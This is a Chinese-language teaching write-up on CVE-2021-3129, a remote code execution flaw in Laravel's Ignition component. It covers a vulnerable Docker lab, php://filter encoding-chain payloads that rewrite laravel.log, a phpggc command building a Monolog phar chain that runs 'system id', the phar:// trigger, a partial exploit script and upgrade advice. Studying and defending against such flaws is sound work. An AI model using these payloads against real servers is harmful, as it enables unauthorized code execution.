Laravel漏洞CVE-2021-3129分析
字数 1278 2025-08-15 21:33:28
Laravel漏洞CVE-2021-3129分析与利用教学文档
漏洞概述
CVE-2021-3129是Laravel框架中的一个高危漏洞,影响范围包括:
- Laravel <= 8.4.2
- Ignition < 2.5.2
该漏洞允许攻击者通过Ignition组件中的MakeViewVariableOptionalSolution功能,利用phar伪协议进行反序列化攻击,最终实现远程代码执行。
漏洞原理分析
核心漏洞点
漏洞存在于Ignition(<=2.5.1)中,默认提供的solutions功能中。具体来说:
MakeViewVariableOptionalSolution类中的file_get_contents()函数参数可控- 通过控制器调用
MakeViewVariableOptionalSolution并传入可控的parameters参数 - 利用phar伪协议触发反序列化
技术背景
该漏洞利用了PHP的phar反序列化特性,与HITCON 2018的"One Line PHP Challenge"有相似之处:
- 相似点:都利用了编码转换清除内容,使写入的文件内容绕过特定或冗余数据的限制
- 不同点:
- One-line-php-challenge通过写入session文件利用文件包含getshell
- CVE-2021-3129通过控制laravel.log最终反序列化执行命令
环境搭建
Docker环境构建
FROM php:7.4-apache
RUN set -ex \
&& apt-get update \
&& apt-get install -y --no-install-recommends unzip \
&& curl -#L -o /usr/local/bin/composer https://github.com/composer/composer/releases/download/1.10.19/composer.phar \
&& chmod +x /usr/local/bin/composer
RUN set -ex \
&& cd /var/www \
&& rm -rf html \
&& composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ \
&& composer create-project laravel/laravel . "v8.4.2" \
&& sed -i -E 's|"facade/ignition"facade/ignition": "2.5.1"|g' composer.json \
&& composer update \
&& mv public html
RUN set -ex \
&& chown www-data:www-data -R /var/www \
&& a2enmod rewrite
构建并运行容器:
docker build . -t CVE_2021_3129
docker run -d -p 8080:80 CVE_2021_3129
漏洞利用详解
利用步骤概述
- 清空laravel.log内容
- 向log文件添加前缀
- 写入精心构造的payload
- 将log文件转换为phar格式
- 通过phar伪协议触发反序列化
详细利用过程
1. 清空laravel.log
使用多重编码转换清空log内容:
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
技术原理:
- 直接使用base64 decode清空会有问题,因为等号后的内容会报错
- 采用UTF-8转UTF-16 → quoted-printable编码 → UTF-16转UTF-8 → base64 decode的组合
2. 添加前缀
向log文件添加"AA"前缀,为后续phar文件做准备。
3. 写入payload
使用phpggc生成Monolog反序列化利用链:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
4. 转换log为phar
使用以下filter将log内容还原为phar格式:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
5. 触发反序列化
通过phar伪协议触发反序列化:
phar:///var/www/storage/logs/laravel.log/test.txt
自动化利用脚本
#! -*- coding:utf-8 -*-
import sys
import requests
import re
class Poc:
# 清空log方法
def clear_log(self, schema, host, port):
# 实现代码见原文
# 添加前缀方法
def add_prefix(self, schema, host, port):
# 实现代码见原文
# 发送payload方法
def send_payload(self, schema, host, port):
# 实现代码见原文
# 还原payload为phar格式
def restore_payload(self, schema, host, port):
# 实现代码见原文
# 触发phar反序列化
def phar_unserialize(self, schema, host, port):
# 实现代码见原文
# 主利用方法
def crack(self, schema, host, port):
for i in range(3):
if self.clear_log(schema, host, port)==200:
print("laravel log cleard")
self.add_prefix(schema, host, port)
self.send_payload(schema, host, port)
if self.restore_payload(schema, host, port)==200:
print("successfully converted to phar")
resp_text=self.phar_unserialize(schema, host, port)
if "uid=" in resp_text and "gid=" in resp_text:
print("phar unserialize")
print(resp_text.split("\n")[-2])
break
else:
print("converted to phar fails")
else:
print("laravel log clear fails")
if __name__ == "__main__":
poc = Poc()
poc.crack(sys.argv[1], sys.argv[2], sys.argv[3])
防御措施
- 升级Laravel框架至最新版本
- 升级Ignition组件至2.5.2或更高版本
- 禁用不必要的PHP伪协议
- 限制日志目录的写入权限
参考资源
- PHPGGC工具: https://github.com/ambionics/phpggc
- Laravel官方安全公告
- PHP伪协议文档
总结
CVE-2021-3129是一个典型的反序列化漏洞,通过精心构造的编码转换和phar协议利用,实现了从文件操作到代码执行的完整攻击链。理解该漏洞有助于深入掌握PHP反序列化漏洞的利用技巧和防御方法。